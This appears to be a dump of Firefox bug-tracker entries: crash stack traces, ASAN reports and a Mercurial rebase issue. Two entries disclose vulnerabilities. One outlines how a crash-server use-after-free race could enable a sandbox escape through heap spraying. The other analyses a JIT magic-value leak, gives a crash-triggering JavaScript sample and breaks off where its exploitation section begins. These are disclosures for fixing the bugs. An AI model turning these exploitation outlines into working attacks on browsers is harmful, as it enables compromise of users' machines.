#2 js::jit::AssemblerX86Shared::movsbl (dest=..., src=..., this=<optimized out>) at js/src/jit/x86-shared/Assembler-x86-shared.h:717
#3 js::jit::MacroAssembler::move8SignExtend (dest=..., src=..., this=<optimized out>) at js/src/jit/x86-shared/MacroAssembler-x86-shared-inl.h:28
#4 js::wasm::BaseCompiler::emitExtendI32_8 (this=0xf6301ad4) at js/src/wasm/WasmBaselineCompile.cpp:7136
#5 0x5717e8e4 in js::wasm::BaseCompiler::emitBody (this=0xf6301ad4) at js/src/wasm/WasmBaselineCompile.cpp:10690
/snip
For detailed crash information, see attachment.
Setting s-s because I don't know how bad this is, being related to the MacroAssembler and wasm base compiler.
|
|
1,517,542 | 13,840,236 |
Created attachment 9034227
log_ffp_asan_26181.log.32166.txt
We had an issue with our harness and the mutated / original message dump was not saved during this find hence there ain't not much information to provide.
Revision: 20181227-894e36ecd784
Log Excerpt:
[Faulty] ( 32336) Process: 2 | Size: 256 | message.32336.82 | Channel::ChannelImpl::Send => PNecko::Msg_PredPredict
[Faulty] ( 32336) FUZZING (6 bytes): PNecko::Msg_PredPredict
|
|
1,508,277 | 13,764,930 |
This bug was filed from the Socorro interface and is
report bp-8d460584-db2d-4450-90a1-4ab3d0181110.
=============================================================
Seen while looking at nightly crash stats - small volume Mac crash which started in Build ID 20181110100119: https://bit.ly/2FwOPwO. It is also flagged as a potential startup crash. Crash reason for all crashes is EXC_SOFTWARE / SIGABRT.
Possible regression range based on build id: https://hg.mozilla.org/mozilla-central/pushloghtml?fromchange=5e7636ec12c5c4543b64428e15165031cff32dc4&tochange=39dba5141dd90c70a861299459d418d230148d9f
Top 10 frames of crashing thread:
0 @0x7fff68db020a
1 XUL google_breakpad::CrashGenerationClient::RequestDumpForException toolkit/crashreporter/google-breakpad/src/common/mac/MachIPC.mm:249
2 XUL google_breakpad::ExceptionHandler::WriteMinidumpWithException toolkit/crashreporter/breakpad-client/mac/handler/exception_handler.cc:382
3 XUL google_breakpad::ExceptionHandler::SignalHandler toolkit/crashreporter/breakpad-client/mac/handler/exception_handler.cc:628
4 @0x7fff68f77f59
5 @0x1582ff81f
6 @0x7fff68d151ad
7 AppleIntelHD3000GraphicsGLDriver AppleIntelHD3000GraphicsGLDriver@0x1f4eb
8 AppleIntelHD3000GraphicsGLDriver AppleIntelHD3000GraphicsGLDriver@0x2bd827
9 @0x7fff4b28323c
=============================================================
|
|
1,509,576 | 13,775,688 |
This bug was filed from the Socorro interface and is
report bp-dec99f3f-f445-4d1d-8a9d-c745a0181123.
=============================================================
Top 10 frames of crashing thread:
0 xul.dll mozilla::dom::XULTooltipElement::PostHandleEvent dom/xul/XULTooltipElement.cpp:93
1 xul.dll static void mozilla::EventTargetChainItem::HandleEventTargetChain dom/events/EventDispatcher.cpp:644
2 xul.dll static void mozilla::EventTargetChainItem::HandleEventTargetChain dom/events/EventDispatcher.cpp:721
3 xul.dll mozilla::EventDispatcher::Dispatch dom/events/EventDispatcher.cpp:1156
4 xul.dll void nsXULPopupManager::FirePopupShowingEvent layout/xul/nsXULPopupManager.cpp:1458
5 xul.dll void nsXULPopupManager::ShowTooltipAtScreen layout/xul/nsXULPopupManager.cpp:847
6 xul.dll void nsXULTooltipListener::LaunchTooltip layout/xul/nsXULTooltipListener.cpp:532
7 xul.dll nsresult nsXULTooltipListener::ShowTooltip layout/xul/nsXULTooltipListener.cpp:426
8 xul.dll static void nsXULTooltipListener::sTooltipCallback layout/xul/nsXULTooltipListener.cpp:742
9 xul.dll nsTimerImpl::Fire xpcom/threads/nsTimerImpl.cpp:684
=============================================================
this crash signature is newly showing up in firefox 64, perhaps related to the work in bug 1461798?
|
|
1,509,585 | 13,775,802 |
This bug was filed from the Socorro interface and is
report bp-2e06cd13-3fa6-471f-9db7-e1d460181123.
=============================================================
Top 10 frames of crashing thread:
0 xul.dll mozilla::dom::WorkerPrivate::Notify dom/workers/WorkerPrivate.cpp:1699
1 xul.dll mozilla::dom::RemoteWorkerChild::CloseWorkerOnMainThread dom/workers/remoteworkers/RemoteWorkerChild.cpp:515
2 xul.dll mozilla::dom::workerinternals::RuntimeService::UnregisterWorker dom/workers/RuntimeService.cpp:1536
3 xul.dll ?Run@TopLevelWorkerFinishedRunnable@?A0x30C6BC27@dom@mozilla@@EEAA?AW4nsresult@@XZ$3a0bfecfb3064f89e01e6f0b017f7aa0 dom/workers/WorkerPrivate.cpp:295
4 xul.dll mozilla::ThrottledEventQueue::Inner::Executor::Run xpcom/threads/ThrottledEventQueue.cpp:84
5 xul.dll nsThread::ProcessNextEvent xpcom/threads/nsThread.cpp:1244
6 xul.dll NS_ProcessNextEvent xpcom/threads/nsThreadUtils.cpp:530
7 xul.dll mozilla::ipc::MessagePump::Run ipc/glue/MessagePump.cpp:97
8 xul.dll MessageLoop::RunHandler ipc/chromium/src/base/message_loop.cc:318
9 xul.dll MessageLoop::Run ipc/chromium/src/base/message_loop.cc:298
=============================================================
this content crash signature is regressing on 65.0a1 since build 20181120100045, so timing wise that looks related to 1438945. so far the crash is only reported from installations on windows 7.
|
|
1,540,231 | 14,020,453 |
This bug is for crash report bp-111927c8-d015-4873-998b-e26110190329.
Lone crash so far on the 3-29 nightly. The crash has Moz crash reason: MOZ_RELEASE_ASSERT(((bool)(__builtin_expect(!!(!NS_FAILED_impl(rv)), 1))))
```
Top 10 frames of crashing thread:
0 xul.dll void mozilla::DAV1DDecoder::ReleaseDataBuffer dom/media/platforms/agnostic/DAV1DDecoder.cpp:76
1 xul.dll dav1d_ref_dec third_party/dav1d/src/ref.c:83
2 xul.dll dav1d_data_unref_internal third_party/dav1d/src/data.c:143
3 xul.dll dav1d_flush third_party/dav1d/src/lib.c:384
4 xul.dll static void close_internal third_party/dav1d/src/lib.c:437
5 xul.dll static class RefPtr<mozilla::MozPromise<bool, bool, 0> > mozilla::DAV1DDecoder::Shutdown::<unnamed-tag>::operator dom/media/platforms/agnostic/DAV1DDecoder.cpp:259
6 xul.dll nsresult mozilla::detail::ProxyFunctionRunnable<`lambda at z:/task_1553853102/build/src/dom/media/platforms/agnostic/DAV1DDecoder.cpp:258:44', mozilla::MozPromise<bool, bool, 0> >::Run xpcom/threads/MozPromise.h:1419
7 xul.dll nsresult mozilla::TaskQueue::Runner::Run xpcom/threads/TaskQueue.cpp:199
8 xul.dll nsresult nsThreadPool::Run xpcom/threads/nsThreadPool.cpp:244
9 xul.dll nsThread::ProcessNextEvent xpcom/threads/nsThread.cpp:1180
```
|
|
1,540,746 | 14,025,191 |
This bug is for crash report bp-2c32d602-5a18-46e1-8b5b-b30bc0190401.
```
Top 10 frames of crashing thread:
0 libxul.so mozilla::CheckedInt<long long>::value const mfbt/CheckedInt.h:535
1 libxul.so mozilla::TimeUnitToFrames dom/media/TimeUnits.h:88
2 libxul.so mozilla::AudioSink::NotifyAudioNeeded dom/media/mediasink/AudioSink.cpp:378
3 libxul.so mozilla::detail::RunnableMethodImpl<RefPtr<mozilla::MediaFormatReader> const, void xpcom/threads/nsThreadUtils.h:1128
4 libxul.so mozilla::AutoTaskDispatcher::TaskGroupRunnable::Run xpcom/threads/TaskDispatcher.h:197
5 libxul.so mozilla::TaskQueue::Runner::Run xpcom/threads/TaskQueue.cpp:199
6 libxul.so nsThreadPool::Run xpcom/threads/nsThreadPool.cpp:244
7 libxul.so non-virtual thunk to nsThreadPool::Run xpcom/threads/nsThreadPool.cpp
8 libxul.so nsThread::ProcessNextEvent xpcom/threads/nsThread.cpp:1180
9 libxul.so NS_ProcessNextEvent xpcom/threads/nsThreadUtils.cpp:482
```
Alex made integer overflow checks into release asserts, and this is one of the crashes. It is Android-only.
|
|
1,542,097 | 14,034,822 |
Created attachment 9056034
testcase.mp4
Found with m-c:
BuildID=20190404063228
SourceStamp=bdaf1b36c44275dd4f027b4a4c30afed86cdfe13
Seeking around the video while playing seems to trigger the failure most reliably.
```
==7108==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x122ed19ea93c at pc 0x7ffddf4d4de6 bp 0x00225b3fd3a0 sp 0x00225b3fd3e8
WRITE of size 4 at 0x122ed19ea93c thread T41
#0 0x7ffddf4d4de5 in mozilla::AudioConverter::DownmixAudio src\dom\media\AudioConverter.cpp:238
#1 0x7ffddfb6c1af in mozilla::AudioConverter::Process<mozilla::AudioConfig::FORMAT_FLT,float> src\obj-firefox\dist\include\AudioConverter.h:156
#2 0x7ffddfb3f400 in mozilla::AudioConverter::Process<mozilla::AudioConfig::FORMAT_FLT,float> src\obj-firefox\dist\include\AudioConverter.h:142
#3 0x7ffddfb39cf0 in mozilla::AudioSink::NotifyAudioNeeded src\dom\media\mediasink\AudioSink.cpp:420
#4 0x7ffdd6f016ab in mozilla::detail::RunnableMethodImpl<nsCOMPtr<nsIThreadPool>,nsresult (nsIThreadPool::*)(),1,mozilla::RunnableKind::Standard>::Run src\xpcom\threads\nsThreadUtils.h:1174
#5 0x7ffdd6f008ec in mozilla::AutoTaskDispatcher::TaskGroupRunnable::Run src\obj-firefox\dist\include\mozilla\TaskDispatcher.h:197
#6 0x7ffdd6ef4041 in mozilla::TaskQueue::Runner::Run src\xpcom\threads\TaskQueue.cpp:199
#7 0x7ffdd6f2dd38 in nsThreadPool::Run src\xpcom\threads\nsThreadPool.cpp:244
#8 0x7ffdd6f21589 in nsThread::ProcessNextEvent src\xpcom\threads\nsThread.cpp:1180
#9 0x7ffdd6f29238 in NS_ProcessNextEvent src\xpcom\threads\nsThreadUtils.cpp:486
#10 0x7ffdd807afc1 in mozilla::ipc::MessagePumpForNonMainThreads::Run src\ipc\glue\MessagePump.cpp:303
#11 0x7ffdd7fc695e in MessageLoop::RunHandler src\ipc\chromium\src\base\message_loop.cc:308
#12 0x7ffdd7fc66f5 in MessageLoop::Run src\ipc\chromium\src\base\message_loop.cc:290
#13 0x7ffdd6f19ee6 in nsThread::ThreadFunc src\xpcom\threads\nsThread.cpp:454
#14 0x7ffdf164561d in _PR_NativeRunThread src\nsprpub\pr\src\threads\combined\pruthr.c:397
#15 0x7ffdf16147b4 in pr_root src\nsprpub\pr\src\md\windows\w95thred.c:137
#16 0x7ffe179de3fd in o_strcat_s+0x5d (C:\WINDOWS\System32\ucrtbase.dll+0x18001e3fd)
#17 0x7ffdf1a4e888 in __asan::AsanThread::ThreadStart Z:\task_1553815194\build\src\build\build-clang\build-clang\src\llvm\projects\compiler-rt\lib\asan\asan_thread.cc:264
#18 0x7ffe1a883dc3 in BaseThreadInitThunk+0x13 (C:\WINDOWS\System32\KERNEL32.DLL+0x180013dc3)
#19 0x7ffdf6bef701 in patched_BaseThreadInitThunk src\mozglue\build\WindowsDllBlocklist.cpp:712
#20 0x7ffe1abe3690 in RtlUserThreadStart+0x20 (C:\WINDOWS\SYSTEM32\ntdll.dll+0x180073690)
0x122ed19ea93e is located 0 bytes to the right of 4158-byte region [0x122ed19e9900,0x122ed19ea93e)
allocated by thread T41 here:
#0 0x7ffdf1a445d0 in malloc Z:\task_1553815194\build\src\build\build-clang\build-clang\src\llvm\projects\compiler-rt\lib\asan\asan_malloc_win.cc:69
#1 0x7ffddf640fe9 in mozilla::AlignedBuffer<float,32>::EnsureCapacity src\dom\media\MediaData.h:213
#2 0x7ffddfb6c13c in mozilla::AudioConverter::Process<mozilla::AudioConfig::FORMAT_FLT,float> src\obj-firefox\dist\include\AudioConverter.h:153
#3 0x7ffddfb3f400 in mozilla::AudioConverter::Process<mozilla::AudioConfig::FORMAT_FLT,float> src\obj-firefox\dist\include\AudioConverter.h:142
#4 0x7ffddfb39cf0 in mozilla::AudioSink::NotifyAudioNeeded src\dom\media\mediasink\AudioSink.cpp:420
#5 0x7ffdd6f016ab in mozilla::detail::RunnableMethodImpl<nsCOMPtr<nsIThreadPool>,nsresult (nsIThreadPool::*)(),1,mozilla::RunnableKind::Standard>::Run src\xpcom\threads\nsThreadUtils.h:1174
#6 0x7ffdd6f008ec in mozilla::AutoTaskDispatcher::TaskGroupRunnable::Run src\obj-firefox\dist\include\mozilla\TaskDispatcher.h:197
#7 0x7ffdd6ef4041 in mozilla::TaskQueue::Runner::Run src\xpcom\threads\TaskQueue.cpp:199
#8 0x7ffdd6f2dd38 in nsThreadPool::Run src\xpcom\threads\nsThreadPool.cpp:244
#9 0x7ffdd6f21589 in nsThread::ProcessNextEvent src\xpcom\threads\nsThread.cpp:1180
#10 0x7ffdd6f29238 in NS_ProcessNextEvent src\xpcom\threads\nsThreadUtils.cpp:486
#11 0x7ffdd807afc1 in mozilla::ipc::MessagePumpForNonMainThreads::Run src\ipc\glue\MessagePump.cpp:303
#12 0x7ffdd7fc695e in MessageLoop::RunHandler src\ipc\chromium\src\base\message_loop.cc:308
#13 0x7ffdd7fc66f5 in MessageLoop::Run src\ipc\chromium\src\base\message_loop.cc:290
#14 0x7ffdd6f19ee6 in nsThread::ThreadFunc src\xpcom\threads\nsThread.cpp:454
#15 0x7ffdf164561d in _PR_NativeRunThread src\nsprpub\pr\src\threads\combined\pruthr.c:397
#16 0x7ffdf16147b4 in pr_root src\nsprpub\pr\src\md\windows\w95thred.c:137
#17 0x7ffe179de3fd in o_strcat_s+0x5d (C:\WINDOWS\System32\ucrtbase.dll+0x18001e3fd)
#18 0x7ffdf1a4e888 in __asan::AsanThread::ThreadStart Z:\task_1553815194\build\src\build\build-clang\build-clang\src\llvm\projects\compiler-rt\lib\asan\asan_thread.cc:264
#19 0x7ffe1a883dc3 in BaseThreadInitThunk+0x13 (C:\WINDOWS\System32\KERNEL32.DLL+0x180013dc3)
Thread T41 created by T0 here:
#0 0x7ffdf1a4f9b0 in __asan_wrap_CreateThread Z:\task_1553815194\build\src\build\build-clang\build-clang\src\llvm\projects\compiler-rt\lib\asan\asan_win.cc:146
#1 0x7ffe179dde36 in beginthreadex+0x56 (C:\WINDOWS\System32\ucrtbase.dll+0x18001de36)
#2 0x7ffdf16145dd in _PR_MD_CREATE_THREAD src\nsprpub\pr\src\md\windows\w95thred.c:151
#3 0x7ffdf164652c in _PR_NativeCreateThread src\nsprpub\pr\src\threads\combined\pruthr.c:1044
#4 0x7ffdf1646e89 in _PR_CreateThread src\nsprpub\pr\src\threads\combined\pruthr.c:1162
#5 0x7ffdf16398df in PR_CreateThread src\nsprpub\pr\src\threads\combined\pruthr.c:1374
#6 0x7ffdd6f1cc5a in nsThread::Init src\xpcom\threads\nsThread.cpp:661
#7 0x7ffdd6f27dfc in nsThreadManager::NewNamedThread src\xpcom\threads\nsThreadManager.cpp:415
#8 0x7ffdd6f2cc02 in NS_NewNamedThread src\xpcom\threads\nsThreadUtils.cpp:139
#9 0x7ffdd6f2c348 in nsThreadPool::PutEvent src\xpcom\threads\nsThreadPool.cpp:111
#10 0x7ffdd6f2f0bd in nsThreadPool::Dispatch src\xpcom\threads\nsThreadPool.cpp:290
#11 0x7ffdd6efacaf in mozilla::SharedThreadPool::Dispatch src\obj-firefox\dist\include\mozilla\SharedThreadPool.h:70
#12 0x7ffdd6ef2971 in mozilla::TaskQueue::DispatchLocked src\xpcom\threads\TaskQueue.cpp:105
#13 0x7ffdd6efbb98 in mozilla::TaskQueue::Dispatch src\obj-firefox\dist\include\mozilla\TaskQueue.h:70
#14 0x7ffdd6f003fb in mozilla::AutoTaskDispatcher::DispatchTaskGroup src\obj-firefox\dist\include\mozilla\TaskDispatcher.h:245
#15 0x7ffdd6effb01 in mozilla::AutoTaskDispatcher::~AutoTaskDispatcher src\obj-firefox\dist\include\mozilla\TaskDispatcher.h:87
#16 0x7ffdd6efdd4d in mozilla::EventTargetWrapper::FireTailDispatcher src\xpcom\threads\AbstractThread.cpp:72
#17 0x7ffdd6f016ab in mozilla::detail::RunnableMethodImpl<nsCOMPtr<nsIThreadPool>,nsresult (nsIThreadPool::*)(),1,mozilla::RunnableKind::Standard>::Run src\xpcom\threads\nsThreadUtils.h:1174
#18 0x7ffdd6ccc800 in mozilla::CycleCollectedJSContext::ProcessStableStateQueue src\xpcom\base\CycleCollectedJSContext.cpp:382
#19 0x7ffdd6ccfb76 in mozilla::CycleCollectedJSContext::AfterProcessTask src\xpcom\base\CycleCollectedJSContext.cpp:441
#20 0x7ffdd8d9e6b9 in XPCJSContext::AfterProcessTask src\js\xpconnect\src\XPCJSContext.cpp:1273
#21 0x7ffdd6f221b2 in nsThread::ProcessNextEvent src\xpcom\threads\nsThread.cpp:1240
#22 0x7ffdd6f29238 in NS_ProcessNextEvent src\xpcom\threads\nsThreadUtils.cpp:486
#23 0x7ffdd8079d1c in mozilla::ipc::MessagePump::Run src\ipc\glue\MessagePump.cpp:110
#24 0x7ffdd7fc695e in MessageLoop::RunHandler src\ipc\chromium\src\base\message_loop.cc:308
#25 0x7ffdd7fc66f5 in MessageLoop::Run src\ipc\chromium\src\base\message_loop.cc:290
#26 0x7ffde136a69a in nsBaseAppShell::Run src\widget\nsBaseAppShell.cpp:137
#27 0x7ffde1501b68 in nsAppShell::Run src\widget\windows\nsAppShell.cpp:412
#28 0x7ffde5553e5d in XRE_RunAppShell src\toolkit\xre\nsEmbedFunctions.cpp:919
#29 0x7ffdd7fc695e in MessageLoop::RunHandler src\ipc\chromium\src\base\message_loop.cc:308
#30 0x7ffdd7fc66f5 in MessageLoop::Run src\ipc\chromium\src\base\message_loop.cc:290
#31 0x7ffde555314f in XRE_InitChildProcess src\toolkit\xre\nsEmbedFunctions.cpp:757
```
|
|
1,542,581 | 14,037,654 |
Created attachment 9056367
race_asan_report.txt
Hi,
There is a race condition in the Windows implementation of the CrashGenerationServer leading to a write of a freed object in Firefox main process. This crash server is enabled by default on Firefox release build and any sandboxed processes can send messages on a pipe : "\\.\pipe\gecko-crash-server-pipe.{ParentPID}" (passed to the sandbox in the command line).
The vulnerability exists in the following function:
```cpp
bool CrashGenerationServer::AddClient(ClientInfo* client_info) {
HANDLE request_wait_handle = NULL;
/* ... */
// OnClientEnd will be called when the client process terminates.
HANDLE process_wait_handle = NULL;
if (!RegisterWaitForSingleObject(&process_wait_handle,
client_info->process_handle(),
OnClientEnd, // This callback can FREE client_info (no lock)
client_info,
INFINITE,
WT_EXECUTEONLYONCE)) {
return false;
}
client_info->set_process_exit_wait_handle(process_wait_handle); // UAF write (crash)
/* ... */
}
```
The OnClientEnd callback frees the client_info by calling the following function:
```cpp
CrashGenerationServer::HandleClientProcessExit(ClientInfo* client_info) { // Called by CrashGenerationServer::OnClientEnd
/* ... code that doesn't block / wait */
delete client_info; // FREE client_info
}
```
Crash:
To compile an ASAN build of the client, you need to remove this line from the build config:
`ac_add_options --disable-crashreporter`
See attachment the ASAN crash report "race_asan_report.txt" reproduced on a local build (changeset 527669:bd1e28b0143b from Mar 29).
Exploitability:
The exploitation assumes having code execution in sandboxed renderers processes (RCE -> *LPE* step targeted).
The only way to trigger the `OnClientEnd` callback is to terminate the process being registered.
The pipe is created with maximum one instance (`nMaxInstances=1` and `FILE_FLAG_FIRST_PIPE_INSTANCE`), so you have one shot by process (you can't spray connections to `AddClient`) but the crash generation server doesn't check if the registered client is already registered and if its PID matches the caller on the pipe (one process can register anyone see `HandleReadDoneState`).
To exploit this, you can either have two threads in one process, one sending the `ProtocolMessage` to add the client and the other one terminating the process OR two sandboxed process, one registering the other process and the other killing itself.
If it's not successful, ask the broker to create a new tab (new process), replay your RCE to gain code execution and retry.
If successful, the UAF gives you a `HANDLE` write at a fixed offset in the broker heap.
By spraying an exploit convenient object (semi controlled by another IPC channel to the broker like IPDL), you can use this vulnerability to corrupt a field (size/flags) in it and with some work, achieve code execution in Firefox main process (Sandbox escape).
Thank you
|
|
1,542,871 | 14,041,534 |
I have not attempted to reproduce this, but based on what I have seen when reconstituting my patches:
* When rebasing, any time a file in the patch needs to be merged with upstream (even trivially, this does not require manual resolution of merge conflicts), all the changes made to the affected file are dropped from the resulting patch.
* In the worst case, entire patches are dropped because the resulting diffs are empty.
```
12:43:39 PM - aklotz: okay, wtf is going on with hg rebase. It's been vaporizing entire segments of my patches
12:44:45 PM * aklotz is thankful that evolve is still working
12:45:55 PM - sheehan: aklotz: are you using the clang-format/format-source extensions?
12:46:27 PM - aklotz: sheehan: format-source is enabled, yes
12:48:02 PM - sheehan: aklotz: can you reproduce without it? my money is on a weird interaction between rebase and f-s
12:48:24 PM - aklotz: sheehan: Not sure. I'm not too keen on throwing away more data atm
12:50:59 PM - sheehan: aklotz: fair enough. my suggestion would be to disable that extension and see if things get any better. if you can gather enough data for a bug, CC me :)
12:51:29 PM - jmaher|bbiab is now known as jmaher.
12:51:30 PM - aklotz: sheehan: I think the problem occurred any time there was a merge conflict with the file in question. Instead of resolving the merge, the file just got dumped
12:51:48 PM - aklotz: sheehan: Based on my investigation of recovering the lost data and trying to reconstitute my patches
12:53:15 PM - jrmuizel [[email protected]] entered the room.
12:53:21 PM - pet-flipper [[email protected]] entered the room.
12:54:55 PM - sheehan: aklotz: yea, that sounds like format-source is the culprit. it's supposed to handle merge conflicts across formatting changes
```
|
|
1,532,599 | 13,964,415 |
IonMonkey can, during a bailout, leak an internal JS_OPTIMIZED_OUT magic value to the running script. This magic value can then be used to achieve memory corruption.
# Prerequisites
## Magic Values
Spidermonkey represents JavaScript values with the C++ type [JS::Value](https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/public/Value.h#L276), which is a NaN-boxed value that can encode a variety of different [types](https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/public/Value.h#L53) such as doubles, string pointers, integers, or object pointers. Besides the types available in JavaScript, JS::Value can also store [special ("magic")](https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/public/Value.h#L191) values for various internal purposes. For example, JS_ELEMENTS_HOLE is used to represent holes in arrays, and JS_OPTIMIZED_ARGUMENTS represents the `arguments` object during a function call (so that no actual memory allocation is required for it).
## Branch Pruning
IonMonkey (Spidermonkey's JIT engine) represents JavaScript code as a control-flow graph (CFG) of MIR (mid-level IR) instructions. When starting to compile a function, IonMonkey first translates the bytecode to MIR, keeping the same CFG. Afterwards, it tries to remove subtrees in the CFG that appear to not be used in order to save compilation time and potentially improve the result of various optimizations performed later. As an example, consider the following code, and assume further that in all previous executions only the if branch had been taken:
if (cond_that_has_always_been_true) {
// do something
} else {
// do something else
}
In this case, branch pruning would likely decide to discard the else branch entirely and instead replace it with a bailout instruction to bailout to the baseline JIT should the branch ever be taken:
if (cond_that_has_always_been_true) {
// do something
} else {
bailout(); // will continue execution in baseline JIT
}
## Phi Elimination
IonMonkey's MIR uses static single assignment (SSA) form. In SSA form, every variable is assigned exactly once. Reassignments of variables on different branches in the CFG are handled with special Phi instructions. Consider the following example:
var x;
if (c) {
x = 1337;
} else {
x = 1338;
}
print(x);
After translation to SSA form it would look something like this:
if (c) {
x1 = 1337;
} else {
x2 = 1338;
}
x3 = Phi(x1, x2);
print(x3);
Phi Elimination is an optimization pass that tries to remove Phi instructions that are either redundant or unobservable (which frequently appear as result of SSA conversion and various optimizations). Quoting from the [source code](https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonAnalysis.cpp#L1382):
// Eliminates redundant or unobservable phis from the graph. A
// redundant phi is something like b = phi(a, a) or b = phi(a, b),
// both of which can be replaced with a. An unobservable phi is
// one that whose value is never used in the program.
Unobservalbe Phis are then replaced a special value, [MagicOptimizedOut](https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonTypes.h#L447). In case of a bailout from the JIT, such an optimized-out value will be materialized as a [JS_OPTIMIZED_OUT](https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/public/Value.h#L223) JS magic value. This should not be observable by script since the compiler was able to prove that the variable is never used. Spidermonkey can, however, not simply leave the slot for an optimized-out variable uninitialized as e.g. the garbage collector expects a valid JS::Value in it.
Phi elimination can lead to problems in combination with branch pruning. Consider the following example:
var only_used_in_else_branch = ...;
if (cond_that_has_always_been_true) {
// do something, but don't use only_used_in_else_branch
} else {
// do something else and use only_used_in_else_branch
}
Here again, branch pruning might decide to remove the else branch, in which case no use of the variable remains. As such, it would be replaced by a magic JS constant (JS_OPTIMIZED_OUT) in the JIT. Later, if the else branch was actually taken, the JIT code would perform a bailout and try to restore the variable. However, as it has been removed, it would now (incorrectly) restore it as JS_OPTIMIZED_OUT magic and continue using it in the baseline JIT, where it could potentially be observed by the executing script. To avoid this, branch pruning marks SSA variables that are used in removed blocks as ["useRemoved"](https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/MIR.h#L129), in which case the variables will [not be optimized out](https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonAnalysis.cpp#L1330).
# Bug Description
While fuzzing Spidermonkey, I encountered the following sample which crashes Spidermonkey built from the current release branch:
function poc() {
const x = "adsf";
for (let v7 = 0; v7 < 2; v7++) {
function v8() {
let v13 = 0;
do {
v13++;
} while (v13 < 1200000);
}
const v15 = v8();
for (let v25 = 0; v25 < 100000; v25++) {
if (x) {
} else {
const v26 = {get:v8};
for (let v30 = 0; v30 < 1000; v30++) { }
}
}
}
}
poc();
It appears what is happening here is roughly the following:
At the beginning of JIT compilation (somewhere in one of the inner loops), IonMonkey produces the following simplified CFG (annotated with the different SSA variables for `x`):
+-------+
| 0 +-----+
| Entry | |
+-------+ |
x1 = "asdf" v
+-----------+
| 1 |
+--------------->| Loop Head |
| +--+--------+
| | x2 = Phi(x1, x5)
| +--------+
| v
| +-----------+ +------------+
| | 3 | | 2... |
| | OSR Entry | | Inlined v8 |
| +-+---------+ +----------+-+
| | x3 = osrval('x') |
| +---------+ +----------+
| v v
| +-------------+
| | 4 |
| | Merge |
| +-----------+-+
| x4 = Phi(x3, x2) |
| v
| +-------------+
| | 5... |
+-----------+ Inner Loop |
+-------------+
x5 = Phi(x4, ..); use(x5);
Since the function is already executing in the baseline JIT, the JIT code compiled by IonMonkey will likely be entered via OSR at block 3 in the middle of the outer loop.
After producing the initial MIR code, IonMonkey performs branch pruning. During branch pruning, IonMonkey inspects the hit count of the bytecode (and performs some more heuristics), and decides that block 3 (or really the exit from the loop in v8) should be pruned and replaced with a bailout to the baseline JIT. The CFG then looks something like this:
+-------+
| 0 +-----+
| Entry | |
+-------+ |
x1 = "asdf" v
+-----------+
| 1 |
+--------------->| Loop Head |
| +--+--------+
| | x2 = Phi(x1, x5)
| +--------+
| v
| +-----------+ +------------+
| | 3 | | 2... |
| | OSR Entry | | Inlined v8 |
| +-+---------+ +------------+
| | x3 = osrval(1)
| +---------+ !! branch pruned !!
| v
| +-------------+
| | 4 |
| | Merge |
| +-----------+-+
| x4 = Phi(x3) |
| v
| +-------------+
| | 5... |
+-----------+ Inner Loop |
+-------------+
x5 = Phi(x4, ..); use(x5);
Since there was no use of x2 in the removed code, x2 is not marked as "use removed". However, when removing the branch 2 -> 4, IonMonkey also removed x2 as input to the Phi for x4 as there is no longer a path between block 1 and block 4. This removal of a use without setting the useRemoved flag then leads to problems later on, in particular during Phi Elimination, which changes the code to the following:
+-------+
| 0 +-----+
| Entry | |
+-------+ |
x1 = "asdf" v
+-----------+
| 1 |
+--------------->| Loop Head |
| +--+--------+
| | x2 = OPTIMIZED_OUT
| +--------+
| v
| +-----------+ +------------+
| | 3 | | 2... |
| | OSR Entry | | Inlined v8 |
| +-+---------+ +------------+
| | x3 = osrval(1)
| +---------+ !! branch pruned !!
| v
| +-------------+
| | 4 |
| | Merge |
| +-----------+-+
| x4 = Phi(x3) |
| v
| +-------------+
| | 5... |
+-----------+ Inner Loop |
+-------------+
x5 = Phi(x4, ..); use(x5);
Here, Phi Elimination decided that x2 is an unobservable Phi as it is not used anywhere. As such, it replaces it with a MagicOptimizedOut value. However, when block 2 is executed in the JITed code, it will perform a bailout and restore `x` as JS_OPTIMIZED_OUT magic value. This is incorrect as the interpreter/baseline JIT will use `x` once it reaches the inner loop. There, `x` (now the optimized out magic) is used for a ToBoolean conversion, which crashes (in a non exploitable way) when reaching this code:
JS_PUBLIC_API bool js::ToBooleanSlow(HandleValue v) {
...;
MOZ_ASSERT(v.isObject());
return !EmulatesUndefined(&v.toObject()); // toObject will return an invalid pointer for a magic value
}
A similar scenario is described in [FlagPhiInputsAsHavingRemovedUses](https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonAnalysis.cpp#L146), which is apparently supposed to prevent this from happening by marking x2 as useRemoved during branch pruning. However, in this case, FlagPhiInputsAsHavingRemovedUses fails to mark x2 as useRemoved as it concludes that x4 is also unused: basically, FlagPhiInputsAsHavingRemovedUses invokes [DepthFirstSearchUse](https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonAnalysis.cpp#L41) to figure out whether some Phi is used by performing a depth-first search over all uses. If it finds a non-Phi use, it returns true. In block 5 above (which are really multiple blocks), x4 is used by another Phi, x5, which is then used by a "real" instruction. DepthFirstSearchUse now visits x5 and puts it into the worklist. It then eventually finds x4 and:
* finds x5 as use, but as x5 is already in the worklist it [skips it](https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonAnalysis.cpp#L106)
* finds no other uses, and thus (incorrectly?) [marks x4 as unused](https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonAnalysis.cpp#L135)
As such, x2 is later on not marked as useRemove since its only use (x4) appears to be unused anyways.
# Exploitation
It is possible get a reference to the magic JS_OPTIMIZED_OUT value by changing the body of the inner for loop to something like this:
